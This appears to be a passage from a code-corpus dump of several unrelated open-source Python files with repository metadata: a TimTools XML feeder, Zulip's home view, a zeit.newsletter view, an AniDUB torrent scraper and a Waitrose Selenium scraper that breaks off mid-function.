result = run('MIN(20, 10, 30) + MAX(11, 12, 13)') assert result == 23
mit
-7,452,110,781,552,088,000
27.126
83
0.541
false
lsaffre/timtools
timtools/sdoc/feeders.py
1
1705
## Copyright 2003-2009 Luc Saffre ## This file is part of the TimTools project. ## TimTools is free software; you can redistribute it and/or modify ## it under the terms of the GNU General Public License as published by ## the Free Software Foundation; either version 3 of the License, or ## (at your option) any later version. ## TimTools is distributed in the hope that it will be useful, ## but WITHOUT ANY WARRANTY; without even the implied warranty of ## MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the ## GNU General Public License for more details. ## You should have received a copy of the GNU General Public License ## along with TimTools; if not, see <http://www.gnu.org/licenses/>. import re def plain2xml(txt): txt = txt.replace("&","&amp;") txt = txt.replace("<","&lt;") return txt memocommands = ( ( re.compile('\[url\s+(\S+)\s*(.*?)\]',re.DOTALL), lambda m : '<b>'+m.group(2)+'</b> (<i>' + m.group(1)+ '</i>)'), ) # urlfind = # urlrepl = re.compile('<b>\2</b> (<u>\1</u>)') # def urlrepl(m): def memo2xml(txt): txt = plain2xml(txt) txt = txt.replace('[B]','<b>') txt = txt.replace('[b]','</b>') txt = txt.replace('[U]','<u>') txt = txt.replace('[u]','</u>') for find,repl in memocommands: txt = re.sub(find,repl,txt) return txt def rst2xml(txt): raise "doesn't work" import docutils.parsers.rst import docutils.utils parser = docutils.parsers.rst.Parser() doc = docutils.utils.new_document("feed") parser.parse(txt, doc) raise "and now?" _feeders={ 'xml' : lambda x : x, 'plain' : plain2xml, 'rst' : rst2xml, 'memo' : memo2xml, } def getFeeder(name): return _feeders[name]
bsd-2-clause
5,341,080,861,915,417,000
27.417
71
0.639
false
souravbadami/zulip
zerver/views/home.py
1
17065
from __future__ import absolute_import from typing import Any, List, Dict, Optional, Text from django.conf import settings from django.core.urlresolvers import reverse from django.http import HttpResponseRedirect, HttpResponse, HttpRequest from django.shortcuts import redirect from django.utils import translation from django.utils.cache import patch_cache_control from six.moves import zip_longest, zip, range from zerver.decorator import zulip_login_required, process_client from zerver.forms import ToSForm from zerver.lib.realm_icon import realm_icon_url from zerver.models import Message, UserProfile, Stream, Subscription, Huddle, \ Recipient, Realm, UserMessage, DefaultStream, RealmEmoji, RealmAlias, \ RealmFilter, PreregistrationUser, UserActivity, \ UserPresence, get_recipient, name_changes_disabled, email_to_username, \ list_of_domains_for_realm from zerver.lib.events import do_events_register from zerver.lib.actions import update_user_presence, do_change_tos_version, \ do_update_pointer, get_cross_realm_dicts, realm_user_count from zerver.lib.avatar import avatar_url from zerver.lib.i18n import get_language_list, get_language_name, \ get_language_list_for_templates from zerver.lib.push_notifications import num_push_devices_for_user from zerver.lib.streams import access_stream_by_name from zerver.lib.utils import statsd, get_subdomain from zproject.backends import password_auth_enabled from zproject.jinja2 import render_to_response import calendar import datetime import logging import os import re import simplejson import time @zulip_login_required def accounts_accept_terms(request): # type: (HttpRequest) -> HttpResponse if request.method == "POST": form = ToSForm(request.POST) if form.is_valid(): do_change_tos_version(request.user, settings.TOS_VERSION) return redirect(home) else: form = ToSForm() email = request.user.email special_message_template = None if request.user.tos_version is None and settings.FIRST_TIME_TOS_TEMPLATE is not None: special_message_template = 'zerver/' + settings.FIRST_TIME_TOS_TEMPLATE return render_to_response( 'zerver/accounts_accept_terms.html', {'form': form, 'email': email, 'special_message_template': special_message_template}, request=request) def approximate_unread_count(user_profile): # type: (UserProfile) -> int not_in_home_view_recipients = [sub.recipient.id for sub in Subscription.objects.filter( user_profile=user_profile, in_home_view=False)] # TODO: We may want to exclude muted messages from this count. # It was attempted in the past, but the original attempt # was broken. When we re-architect muting, we may # want to to revisit this (see git issue #1019). return UserMessage.objects.filter( user_profile=user_profile, message_id__gt=user_profile.pointer).exclude( message__recipient__type=Recipient.STREAM, message__recipient__id__in=not_in_home_view_recipients).exclude( flags=UserMessage.flags.read).count() def sent_time_in_epoch_seconds(user_message): # type: (UserMessage) -> Optional[float] # user_message is a UserMessage object. if not user_message: return None # We have USE_TZ = True, so our datetime objects are timezone-aware. # Return the epoch seconds in UTC. return calendar.timegm(user_message.message.pub_date.utctimetuple()) def home(request): # type: (HttpRequest) -> HttpResponse if settings.DEVELOPMENT and os.path.exists('var/handlebars-templates/compile.error'): response = render_to_response('zerver/handlebars_compilation_failed.html', request=request) response.status_code = 500 return response if not settings.SUBDOMAINS_HOMEPAGE: return home_real(request) # If settings.SUBDOMAINS_HOMEPAGE, sends the user the landing # page, not the login form, on the root domain subdomain = get_subdomain(request) if subdomain != "": return home_real(request) return render_to_response('zerver/hello.html', request=request) @zulip_login_required def home_real(request): # type: (HttpRequest) -> HttpResponse # We need to modify the session object every two weeks or it will expire. # This line makes reloading the page a sufficient action to keep the # session alive. request.session.modified = True user_profile = request.user # If a user hasn't signed the current Terms of Service, send them there if settings.TERMS_OF_SERVICE is not None and settings.TOS_VERSION is not None and \ int(settings.TOS_VERSION.split('.')[0]) > user_profile.major_tos_version(): return accounts_accept_terms(request) narrow = [] # type: List[List[Text]] narrow_stream = None narrow_topic = request.GET.get("topic") if request.GET.get("stream"): try: narrow_stream_name = request.GET.get("stream") (narrow_stream, ignored_rec, ignored_sub) = access_stream_by_name( user_profile, narrow_stream_name) narrow = [["stream", narrow_stream.name]] except Exception: logging.exception("Narrow parsing") if narrow_stream is not None and narrow_topic is not None: narrow.append(["topic", narrow_topic]) register_ret = do_events_register(user_profile, request.client, apply_markdown=True, narrow=narrow) user_has_messages = (register_ret['max_message_id'] != -1) # Reset our don't-spam-users-with-email counter since the # user has since logged in if user_profile.last_reminder is not None: user_profile.last_reminder = None user_profile.save(update_fields=["last_reminder"]) # Brand new users get the tutorial needs_tutorial = settings.TUTORIAL_ENABLED and \ user_profile.tutorial_status != UserProfile.TUTORIAL_FINISHED first_in_realm = realm_user_count(user_profile.realm) == 1 # If you are the only person in the realm and you didn't invite # anyone, we'll continue to encourage you to do so on the frontend. prompt_for_invites = first_in_realm and \ not PreregistrationUser.objects.filter(referred_by=user_profile).count() if user_profile.pointer == -1 and user_has_messages: # Put the new user's pointer at the bottom # # This improves performance, because we limit backfilling of messages # before the pointer. It's also likely that someone joining an # organization is interested in recent messages more than the very # first messages on the system. register_ret['pointer'] = register_ret['max_message_id'] user_profile.last_pointer_updater = request.session.session_key if user_profile.pointer == -1: latest_read = None else: try: latest_read = UserMessage.objects.get(user_profile=user_profile, message__id=user_profile.pointer) except UserMessage.DoesNotExist: # Don't completely fail if your saved pointer ID is invalid logging.warning("%s has invalid pointer %s" % (user_profile.email, user_profile.pointer)) latest_read = None desktop_notifications_enabled = user_profile.enable_desktop_notifications if narrow_stream is not None: desktop_notifications_enabled = False if user_profile.realm.notifications_stream: notifications_stream = user_profile.realm.notifications_stream.name else: notifications_stream = "" # Set default language and make it persist default_language = register_ret['default_language'] url_lang = '/{}'.format(request.LANGUAGE_CODE) if not request.path.startswith(url_lang): translation.activate(default_language) request.session[translation.LANGUAGE_SESSION_KEY] = default_language # Pass parameters to the client-side JavaScript code. # These end up in a global JavaScript Object named 'page_params'. page_params = dict( # Server settings. share_the_love = settings.SHARE_THE_LOVE, development_environment = settings.DEVELOPMENT, debug_mode = settings.DEBUG, test_suite = settings.TEST_SUITE, poll_timeout = settings.POLL_TIMEOUT, login_page = settings.HOME_NOT_LOGGED_IN, server_uri = settings.SERVER_URI, maxfilesize = settings.MAX_FILE_UPLOAD_SIZE, max_avatar_file_size = settings.MAX_AVATAR_FILE_SIZE, server_generation = settings.SERVER_GENERATION, use_websockets = settings.USE_WEBSOCKETS, save_stacktraces = settings.SAVE_FRONTEND_STACKTRACES, # realm data. # TODO: Move all of these data to register_ret and pull from there realm_uri = user_profile.realm.uri, password_auth_enabled = password_auth_enabled(user_profile.realm), domains = list_of_domains_for_realm(user_profile.realm), name_changes_disabled = name_changes_disabled(user_profile.realm), mandatory_topics = user_profile.realm.mandatory_topics, show_digest_email = user_profile.realm.show_digest_email, realm_presence_disabled = user_profile.realm.presence_disabled, is_zephyr_mirror_realm = user_profile.realm.is_zephyr_mirror_realm, # user_profile data. # TODO: Move all of these data to register_ret and pull from there fullname = user_profile.full_name, email = user_profile.email, enter_sends = user_profile.enter_sends, user_id = user_profile.id, is_admin = user_profile.is_realm_admin, can_create_streams = user_profile.can_create_streams(), autoscroll_forever = user_profile.autoscroll_forever, default_desktop_notifications = user_profile.default_desktop_notifications, avatar_url = avatar_url(user_profile), avatar_url_medium = avatar_url(user_profile, medium=True), avatar_source = user_profile.avatar_source, timezone = user_profile.timezone, # Stream message notification settings: stream_desktop_notifications_enabled = user_profile.enable_stream_desktop_notifications, stream_sounds_enabled = user_profile.enable_stream_sounds, # Private message and @-mention notification settings: desktop_notifications_enabled = desktop_notifications_enabled, sounds_enabled = user_profile.enable_sounds, enable_offline_email_notifications = user_profile.enable_offline_email_notifications, pm_content_in_desktop_notifications = user_profile.pm_content_in_desktop_notifications, enable_offline_push_notifications = user_profile.enable_offline_push_notifications, enable_online_push_notifications = user_profile.enable_online_push_notifications, enable_digest_emails = user_profile.enable_digest_emails, # Realm foreign key data from register_ret. # TODO: Rename these to match register_ret values. subbed_info = register_ret['subscriptions'], unsubbed_info = register_ret['unsubscribed'], neversubbed_info = register_ret['never_subscribed'], people_list = register_ret['realm_users'], bot_list = register_ret['realm_bots'], initial_pointer = register_ret['pointer'], initial_presences = register_ret['presences'], event_queue_id = register_ret['queue_id'], # Misc. extra data. have_initial_messages = user_has_messages, initial_servertime = time.time(), # Used for calculating relative presence age default_language_name = get_language_name(register_ret['default_language']), language_list_dbl_col = get_language_list_for_templates(register_ret['default_language']), language_list = get_language_list(), needs_tutorial = needs_tutorial, first_in_realm = first_in_realm, prompt_for_invites = prompt_for_invites, notifications_stream = notifications_stream, cross_realm_bots = list(get_cross_realm_dicts()), unread_count = approximate_unread_count(user_profile), furthest_read_time = sent_time_in_epoch_seconds(latest_read), has_mobile_devices = num_push_devices_for_user(user_profile) > 0, ) # These fields will be automatically copied from register_ret into # page_params. It is a goal to move more of the page_params list # into this sort of cleaner structure. page_params_core_fields = [ 'alert_words', 'attachments', 'default_language', 'emoji_alt_code', 'last_event_id', 'left_side_userlist', 'max_icon_file_size', 'max_message_id', 'muted_topics', 'realm_add_emoji_by_admins_only', 'realm_allow_message_editing', 'realm_authentication_methods', 'realm_bot_domain', 'realm_create_stream_by_admins_only', 'realm_default_language', 'realm_default_streams', 'realm_email_changes_disabled', 'realm_emoji', 'realm_filters', 'realm_icon_source', 'realm_icon_url', 'realm_invite_by_admins_only', 'realm_invite_required', 'realm_message_content_edit_limit_seconds', 'realm_name', 'realm_name_changes_disabled', 'realm_restricted_to_domain', 'realm_waiting_period_threshold', 'referrals', 'twenty_four_hour_time', 'zulip_version', ] for field_name in page_params_core_fields: page_params[field_name] = register_ret[field_name] if narrow_stream is not None: # In narrow_stream context, initial pointer is just latest message recipient = get_recipient(Recipient.STREAM, narrow_stream.id) try: initial_pointer = Message.objects.filter(recipient=recipient).order_by('id').reverse()[0].id except IndexError: initial_pointer = -1 page_params["narrow_stream"] = narrow_stream.name if narrow_topic is not None: page_params["narrow_topic"] = narrow_topic page_params["narrow"] = [dict(operator=term[0], operand=term[1]) for term in narrow] page_params["max_message_id"] = initial_pointer page_params["initial_pointer"] = initial_pointer page_params["have_initial_messages"] = (initial_pointer != -1) statsd.incr('views.home') show_invites = True # Some realms only allow admins to invite users if user_profile.realm.invite_by_admins_only and not user_profile.is_realm_admin: show_invites = False request._log_data['extra'] = "[%s]" % (register_ret["queue_id"],) response = render_to_response('zerver/index.html', {'user_profile': user_profile, 'page_params': simplejson.encoder.JSONEncoderForHTML().encode(page_params), 'nofontface': is_buggy_ua(request.META.get("HTTP_USER_AGENT", "Unspecified")), 'avatar_url': avatar_url(user_profile), 'show_debug': settings.DEBUG and ('show_debug' in request.GET), 'pipeline': settings.PIPELINE_ENABLED, 'show_invites': show_invites, 'is_admin': user_profile.is_realm_admin, 'show_webathena': user_profile.realm.webathena_enabled, 'enable_feedback': settings.ENABLE_FEEDBACK, 'embedded': narrow_stream is not None, }, request=request) patch_cache_control(response, no_cache=True, no_store=True, must_revalidate=True) return response @zulip_login_required def desktop_home(request): # type: (HttpRequest) -> HttpResponse return HttpResponseRedirect(reverse('zerver.views.home.home')) def is_buggy_ua(agent): # type: (str) -> bool """Discrimiate CSS served to clients based on User Agent Due to QTBUG-3467, @font-face is not supported in QtWebKit. This may get fixed in the future, but for right now we can just serve the more conservative CSS to all our desktop apps. """ return ("Humbug Desktop/" in agent or "Zulip Desktop/" in agent or "ZulipDesktop/" in agent) and \ "Mac" not in agent
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ZeitOnline/zeit.newsletter
src/zeit/newsletter/browser/edit.py
1
2579
from zeit.cms.i18n import MessageFactory as _ from zope.cachedescriptors.property import Lazy as cachedproperty import os.path import zeit.cms.browser.view import zeit.cms.content.interfaces import zeit.cms.interfaces import zeit.content.image.interfaces import zeit.content.video.interfaces import zeit.edit.browser.form import zeit.edit.browser.landing import zeit.edit.browser.view import zeit.newsletter.interfaces import zope.formlib.form class LandingZoneBase(zeit.edit.browser.landing.LandingZone): uniqueId = zeit.edit.browser.view.Form('uniqueId') block_type = 'teaser' def initialize_block(self): content = zeit.cms.interfaces.ICMSContent(self.uniqueId) self.block.reference = content class GroupLandingZone(LandingZoneBase): """Handler to drop objects to the body's landing zone.""" order = 0 class TeaserLandingZone(LandingZoneBase): """Handler to drop objects after other objects.""" order = 'after-context' class Teaser(zeit.cms.browser.view.Base): @cachedproperty def metadata(self): return zeit.cms.content.interfaces.ICommonMetadata( self.context.reference, None) @cachedproperty def image(self): # XXX copy&paste&tweak of zeit.content.cp.browser.blocks.teaser.Display content = self.context.reference if content is None: return if zeit.content.video.interfaces.IVideoContent.providedBy(content): return content.thumbnail images = zeit.content.image.interfaces.IImages(content, None) if images is None: preview = zope.component.queryMultiAdapter( (content, self.request), name='preview') if preview: return self.url(preview) return if not images.image: return group = images.image for name in group: basename, ext = os.path.splitext(name) if basename.endswith('148x84'): image = group[name] return self.url(image, '@@raw') class Advertisement(zeit.cms.browser.view.Base): @cachedproperty def image(self): if not self.context.image: return return self.url(self.context.image, '@@raw') class GroupTitle(zeit.edit.browser.form.InlineForm): legend = None prefix = 'group' undo_description = _('edit group title') form_fields = zope.formlib.form.FormFields( zeit.newsletter.interfaces.IGroup).select('title') class Empty(object): def render(self): return u''
bsd-3-clause
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vadyur/script.media.aggregator
anidub.py
1
12586
# coding: utf-8 import log from log import debug from settings import Settings from base import * import feedparser, urllib2, re from bs4 import BeautifulSoup from nfowriter import * from strmwriter import * import requests, filesystem ################################################################################################### class DescriptionParser(DescriptionParserBase): #============================================================================================== def get_content(self, url): page = urllib2.urlopen(url) return page #============================================================================================== def __init__(self, url): Informer.__init__(self) self._dict = dict() self.content = self.get_content(url) #html_doc = '<?xml version="1.0" encoding="UTF-8" ?>\n<html>' + content.encode('utf-8') + '\n</html>' self.soup = BeautifulSoup(self.content, 'html.parser') self.OK = self.parse() #============================================================================================== def get_tag(self, x): return { u'Год: ': u'year', u'Жанр: ': u'genre', u'Описание: ': u'plot', u'Режиссер: ': u'director', u'Продолжительность: ': u'runtime', u'Страна: ': u'country', }.get(x, u'') #============================================================================================== def clean(self, title): try: title = title.split(u' ТВ-')[0] title = title.split(u' TV-')[0] title = title.split(u' [')[0] except: pass return title.strip() #============================================================================================== def get_title(self, full_title): try: found = re.search('^(.+?) /', full_title).group(1) return self.clean(found) except AttributeError: return full_title #============================================================================================== def get_original_title(self, full_title): try: found = re.search('^.+? / (.+)', full_title).group(1) return self.clean(found) except AttributeError: return full_title #============================================================================================== def parse_season_from_title(self, title): try: found = re.search(r"(\d) \[\d+\D+\d+\]", title) if found: try: self._dict['season'] = int(found.group(1)) return except: pass parts = title.split(u'ТВ-') if len(parts) == 1: parts = title.split(u'TV-') if len(parts) > 1: found = re.search('([0-9]+)', parts[1]).group(1) self._dict['season'] = int(found) except: pass #============================================================================================== def get_episodes_num(self, full_title): try: found = re.search(' \[([0-9]+) ', full_title).group(1) return int(found) except AttributeError: return 1 def date_added_duration(self): ul = self.soup.find('ul', class_='story_inf') if ul: for li in ul.find_all('li'): txt = li.get_text() parts = txt.split(':') if len(parts) > 1 and parts[0] == u'Дата': date, t = parts[1].split(',') # d u' 30-09-2012' unicode from datetime import datetime, timedelta day = timedelta(1) yesterday = datetime.today() - day #date = ' 30-09-2012' if u'Сегодня' in date: d = datetime.today() elif u'Вчера' in date: d = yesterday else: try: d = datetime.strptime(date.strip(), '%d-%m-%Y') except TypeError: d = datetime.today() dt = datetime.today() - d return dt #============================================================================================== def parse(self): tag = u'' self._dict['gold'] = False self._dict['season'] = 1 for title in self.soup.select('#news-title'): full_title = title.get_text() debug(full_title) self._dict['title'] = self.get_title(full_title) self._dict['originaltitle'] = self.get_original_title(full_title) self.parse_season_from_title(full_title) self._dict['episodes'] = self.get_episodes_num(full_title) for b in self.soup.select('div.xfinfodata b'): try: text = b.get_text() tag = self.get_tag(text) if tag != '': span = b.find_next_sibling('span') self._dict[tag] = span.get_text().strip() except: pass for div in self.soup.select('div.story_c'): try: text = div.get_text() text = text.split(u'Описание:')[1] text = text.split(u'Эпизоды')[0] text = text.split(u'Скриншоты')[0] text = text.strip() self._dict['plot'] = text #debug('---') #debug(text) #debug('---') except: pass for b in self.soup.select('div.story_h .rcol sup b'): try: text = b.get_text() text = text.split(' ')[0] self._dict['rating'] = float(text) * 2 debug('rating: ' + str(self._dict['rating'])) except: pass for img in self.soup.select('span.poster img'): try: self._dict['thumbnail'] = img['src'].strip() debug(self._dict['thumbnail']) except: pass fanart = [] for a in self.soup.select('ul.clr li a'): try: debug(a['href']) fanart.append(a['href'].strip()) except: pass if len(fanart) != 0: self._dict['fanart'] = fanart # else: # dt = self.date_added_duration() # if dt and dt.days <= 14: # return False for img in self.soup.select('div.video_info a img'): try: self._dict['studio'] = img['alt'].strip() debug(self._dict['studio']) except: pass tags = [] for a in self.soup.select('a[href*="https://tr.anidub.com/tags/"]'): tags.append(a.get_text().strip()) if len(tags) > 0: self._dict['tag'] = tags return True ################################################################################################### def write_tvshow_nfo(parser, tvshow_api, tvshow_path): try: if write_tvshow_nfo.favorites: parser.Dict().get('tag', []).append('favorites') except: pass NFOWriter(parser, tvshow_api=tvshow_api).write_tvshow_nfo(tvshow_path) return ################################################################################################### def write_tvshow(content, path, settings): with filesystem.save_make_chdir_context(path, 'Anidub.write_tvshow'): d = feedparser.parse(content) cnt = 0 settings.progress_dialog.update(0, 'anidub', path) for item in d.entries: write_tvshow_item(item, path, settings) cnt += 1 settings.progress_dialog.update(cnt * 100 / len(d.entries), 'anidub', path) def write_tvshow_item(item, path, settings, path_out=[]): debug('-------------------------------------------------------------------------') debug(item.link) parser = DescriptionParser(item.link) if parser.parsed(): title = parser.get_value('title') debug(title) originaltitle = parser.get_value('originaltitle') debug(originaltitle) season = parser.get_value('season') from downloader import TorrentDownloader TorrentDownloader(item.link, settings.torrents_path(), settings).download() debug('Episodes: ' + str(parser.get_value('episodes'))) tvshow_path = make_fullpath(title, '') tvshow_path = filesystem.join(path, tvshow_path) debug(tvshow_path) path_out.append(tvshow_path) settings.update_paths.add(tvshow_path) with filesystem.save_make_chdir_context(tvshow_path, 'Anidub.write_tvshow_item'): tvshow_api = TVShowAPI.get_by(originaltitle, title) write_tvshow_nfo(parser, tvshow_api, tvshow_path) season_path = filesystem.join(tvshow_path, u'Season ' + unicode(season)) debug(season_path) with filesystem.save_make_chdir_context(season_path, 'Anidub.write_tvshow_item_2'): episodes = tvshow_api.episodes(season) if len(episodes) < parser.get_value('episodes'): for i in range(len(episodes) + 1, parser.get_value('episodes') + 1): episodes.append({ 'title': title, 'showtitle': title, 'short': 's%02de%02d' % (season, i), 'episode': i, 'season': season }) for episode in episodes: title = episode['title'] shortName = episode['short'] episodeNumber = episode['episode'] if episodeNumber <= parser.get_value('episodes'): filename = str(episodeNumber) + '. ' + 'episode_' + shortName debug(filename) ep = tvshow_api.Episode(season, episodeNumber) if ep: episode = ep STRMWriter(item.link).write(filename, season_path, episodeNumber=episodeNumber, settings=settings) NFOWriter(parser, tvshow_api=tvshow_api).write_episode(episode, filename, season_path) else: skipped(item) del parser def get_session(settings): s = requests.Session() data = {"login_name": settings.anidub_login, "login_password": settings.anidub_password, "login": "submit"} headers = { 'Host': 'tr.anidub.com', 'Origin': 'https://tr.anidub.com', 'Referer': 'https://tr.anidub.com/', 'Upgrade-Insecure-Requests': '1', 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132' } login = s.post("https://tr.anidub.com/", data=data, headers=headers) debug('Login status: %d' % login.status_code) if 'login_name' in login.content: debug('Login failed') return s def download_torrent(url, path, settings): from base import save_hashes save_hashes(path) url = urllib2.unquote(url) debug('download_torrent:' + url) s = get_session(settings) page = s.get(url) #debug(page.text.encode('utf-8')) soup = BeautifulSoup(page.text, 'html.parser') try: a = soup.select_one('#tv720 div.torrent_h a') except TypeError: a = None try: if a is None: a = soup.select_one('div.torrent_h > a') except TypeError: a = None if a is not None: href = 'https://tr.anidub.com' + a['href'] debug(s.headers) r = s.get(href, headers={'Referer': url}) debug(r.headers) if 'Content-Type' in r.headers: if not 'torrent' in r.headers['Content-Type']: return False try: with filesystem.fopen(path, 'wb') as torr: for chunk in r.iter_content(100000): torr.write(chunk) save_hashes(path) return True except: pass return False def write_pages(url, path, settings, params={}, filter_fn=None, dialog_title = None, path_out=[]): s = get_session(settings) if params: page = s.post(url, data=params) else: page = s.get(url) soup = BeautifulSoup(page.content, 'html.parser') page_no = 1 cnt = 0 class Item: def __init__(self, link, title): self.link = link self.title = title with filesystem.save_make_chdir_context(path, 'Anidub.write_pages'): while True: if params: selector = soup.select('div.search_post > div.text > h2 > a') else: selector = soup.select('article.story > div.story_h > div.lcol > h2 > a') if not selector: break settings.progress_dialog.update(0, dialog_title, path) for a in selector: log.debug(a['href']) link = a['href'] title = a.get_text() if filter_fn and filter_fn(title): continue write_tvshow_item(Item(link, title), path, settings, path_out) cnt += 1 settings.progress_dialog.update(cnt * 100 / len(selector), dialog_title, path) if not 'favorites' in url: break page_no += 1 page = s.get(url + 'page/%d/' % page_no) if page.status_code == requests.codes.ok: soup = BeautifulSoup(page.text, 'html.parser') else: break return cnt def write_favorites(path, settings): write_pages('https://tr.anidub.com/favorites/', path, settings, dialog_title=u'Избранное AniDUB') def search_generate(what, settings, path_out): def filter(title): if what not in title: return True return False write_tvshow_nfo.favorites = False return write_pages('https://tr.anidub.com/index.php?do=search', settings.anime_tvshow_path(), settings, {'do': 'search', 'subaction': 'search', 'story': what.encode('utf-8')}, filter, dialog_title=u'Поиск AniDUB', path_out=path_out) ################################################################################################### def run(settings): if settings.anime_save: if settings.anidub_rss: write_tvshow_nfo.favorites = False write_tvshow(settings.anidub_url, settings.anime_tvshow_path(), settings) if settings.anidub_favorite: write_tvshow_nfo.favorites = True write_favorites(settings.anime_tvshow_path(), settings) if __name__ == '__main__': settings = Settings('../media_library') run(settings)
gpl-3.0
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robdobsn/AmazonEchoShopping
WaitroseService/WaitroseScraper.py
1
20691
# Waitrose web scraper __author__ = 'robdobsn' from selenium import webdriver from selenium.webdriver.common.keys import Keys import selenium.webdriver.support.ui as webdriverui from selenium.webdriver.support.wait import WebDriverWait from selenium.webdriver.common.by import By from selenium.common.exceptions import NoSuchElementException, WebDriverException, TimeoutException from selenium.webdriver.support import expected_conditions as EC from bs4 import BeautifulSoup import logging import json import re class WaitroseScraper(): def __init__(self): logging.info("Waitrose scraper starting") self.isInitalized = False self.isLoggedIn = False self.webDriverType = "PhantomJS" self.execUsingJS = False def clickButtonByClassName(self, className): if self.execUsingJS: self.webDriver.execute_script("document.getElementsByClassName('" + className + "')[0].click()") else: btn = self.webDriver.find_element_by_class_name(className) btn.click() def clickButtonByXPath(self, xpath): if self.execUsingJS: self.webDriver.execute_script("return document.evaluate('" + xpath + "', document, null, XPathResult.FIRST_ORDERED_NODE_TYPE, null).singleNodeValue.click()") else: btn = self.webDriver.find_element_by_xpath(xpath) btn.click() def clickButtonByCSSSelector(self, cssSelector): btn = self.webDriver.find_element_by_css_selector(cssSelector) btn.click() def checkButtonEnabledByCSSSelector(self, cssSelector): btn = self.webDriver.find_element_by_css_selector(cssSelector) return btn.is_enabled() and btn.is_displayed() def sendKeysToFieldById(self, elemId, strToSend, pressEnterAfter, clearFirst): # if self.execUsingJS: # self.webDriver.execute_script("document.getElementsByClassName('" + elemId + "').value = '" + strToSend) # else: print("Sending keys to elemId " + elemId + " keys = " + strToSend) field = self.webDriver.find_element_by_id(elemId) print(field) if (clearFirst): field.send_keys(Keys.CONTROL + "a") field.send_keys(Keys.DELETE) field.send_keys(strToSend + (Keys.RETURN if pressEnterAfter else "")) def debugDumpPageSource(self, filenameExtra=""): with open("debugPageSource" + filenameExtra + ".html", "w") as debugDumpFile: debugDumpFile.write(self.webDriver.page_source) self.webDriver.save_screenshot('debugPageImage.png') # Start the web driver (runs the browser) def startWebDriver(self): # Clear current session file info with open('browserSession.json', 'w') as outfile: json.dump({}, outfile) # Create WebDriver if self.webDriverType == "Chrome": try: self.webDriver = webdriver.Chrome() except WebDriverException: logging.error("startWebDriver() Chrome Failed to start") return False elif self.webDriverType == "Firefox": try: self.webDriver = webdriver.Firefox() except WebDriverException: logging.error("startWebDriver() Firefox Failed to start") return False elif self.webDriverType == "PhantomJS": try: self.webDriver = webdriver.PhantomJS() # or add to your PATH except: try: self.webDriver = webdriver.PhantomJS( executable_path='C:\ProgramData\PhantomJS\bin') except: try: self.webDriver = webdriver.PhantomJS( executable_path='/usr/local/lib/node_modules/phantomjs/lib/phantom/bin/phantomjs') except: try: self.webDriver = webdriver.PhantomJS( executable_path=r'C:\Users\rob_2\AppData\Roaming\npm\node_modules\phantomjs\lib\phantom\bin\phantomjs.exe') except: logging.error("Failed to load the PhantomJS webdriver") return False # Set the window size (seems to be needed in phantomJS particularly # This is probably because the website responds in mobile mode? self.webDriver.set_window_size(1280,1024) # Save session info url = self.webDriver.command_executor._url session_id = self.webDriver.session_id with open('browserSession.json', 'w') as outfile: json.dump({"url": url, "session_id": session_id}, outfile) return True def websiteLogin(self, username, password, attemptIdx): try: self.webDriver.save_screenshot('debug1_'+str(attemptIdx)+'.png') logging.info("Waiting for signInRegister button") wait = WebDriverWait(self.webDriver, 30) wait.until(EC.visibility_of_element_located((By.CLASS_NAME, "js-sign-in-register"))) logging.info("waitroseLogin() pressing signInRegister button") self.clickButtonByClassName('js-sign-in-register') self.webDriver.save_screenshot('debug2_'+str(attemptIdx)+'.png') try: print("Starting to wait for logon-email") wait = WebDriverWait(self.webDriver, 30) wait.until(EC.visibility_of_element_located((By.ID, "logon-email"))) print("Finished waiting for logon-email") self.webDriver.save_screenshot('debug3_' + str(attemptIdx) + '.png') try: logging.info("waitroseLogin() entering username") self.debugDumpPageSource("contbutton") self.sendKeysToFieldById('logon-email', username, False, True) self.webDriver.save_screenshot('debug4_' + str(attemptIdx) + '.png') # self.clickButtonByXPath("//input[@type='button' and @value='Continue']") if (self.checkButtonEnabledByCSSSelector("input[value='Continue'][type='button']")): self.clickButtonByCSSSelector("input[value='Continue'][type='button']") try: logging.info("waitroseLogin() waiting for logon-password visible") wait = WebDriverWait(self.webDriver, 60) wait.until(EC.visibility_of_element_located((By.ID, "logon-password"))) self.webDriver.save_screenshot('debug5_' + str(attemptIdx) + '.png') try: logging.info("waitroseLogin() entering password") self.sendKeysToFieldById('logon-password', password, False, True) #self.clickButtonById('logon-button-sign-in') self.clickButtonByCSSSelector("input[value='Sign in'][type='button']") self.webDriver.save_screenshot('debug6_' + str(attemptIdx) + '.png') logging.info("waitroseLogin() waiting for trolley-total to be visible") wait = WebDriverWait(self.webDriver, 60) wait.until(EC.visibility_of_element_located((By.CLASS_NAME, "trolley-total"))) self.webDriver.save_screenshot('debug7_' + str(attemptIdx) + '.png') elem2 = self.webDriver.find_element_by_class_name('trolley-total') if elem2: logging.info("waitroseLogin() basket found") else: logging.info("waitroseLogin() basket not found") return True except WebDriverException as err: logging.error("waitroseLogin() Cannot find logon-password after wait " + err.msg) self.debugDumpPageSource() except WebDriverException as err: logging.error("waitroseLogin() Cannot find logon-password field" + err.msg) self.debugDumpPageSource() except WebDriverException as err: logging.error("waitroseLogin() Error entering logon-email" + err.msg) self.debugDumpPageSource() except WebDriverException as err: logging.error("waitroseLogin() Cannot find logon-email field" + err.msg) self.debugDumpPageSource() except WebDriverException as err: logging.error("waitroseLogin() Cannot find sign-in-register button" + err.msg) self.debugDumpPageSource() return False def getBasketSummary(self): basketSummary = {} # Ensure we wait until the trolley-total is visible try: wait = WebDriverWait(self.webDriver, 20) wait.until(EC.visibility_of_element_located((By.CLASS_NAME, "trolley-total"))) except TimeoutException: logging.error("Get basket summary timeout exception") self.debugDumpPageSource() return None except WebDriverException: logging.error("Get basket summary webdriver element exception") self.debugDumpPageSource() return None # Get basket total price try: totalElem = self.webDriver.find_element_by_class_name('trolley-total') if totalElem: reTotalElem = re.search("([0-9]{1,4}\.[0-9]{2})", totalElem.text) if reTotalElem: basketSummary["totalPrice"] = reTotalElem.group(1) logging.info("waitrose: Basket: total=" + str(basketSummary["totalPrice"])) # Get number of basket items summaryElem = self.webDriver.find_element_by_class_name('trolley-summary') if summaryElem: reSummaryElem = re.search("([0-9]{1,4}) items", summaryElem.text) if reSummaryElem: basketSummary["numItems"] = reSummaryElem.group(1) logging.info("waitrose: Basket: num items=" + str(basketSummary["numItems"])) except WebDriverException: logging.error("waitrose: Get basket summary webdriver element exception") self.debugDumpPageSource() return None # Return info found return basketSummary def getElemAttrIfPresent(self, soup, 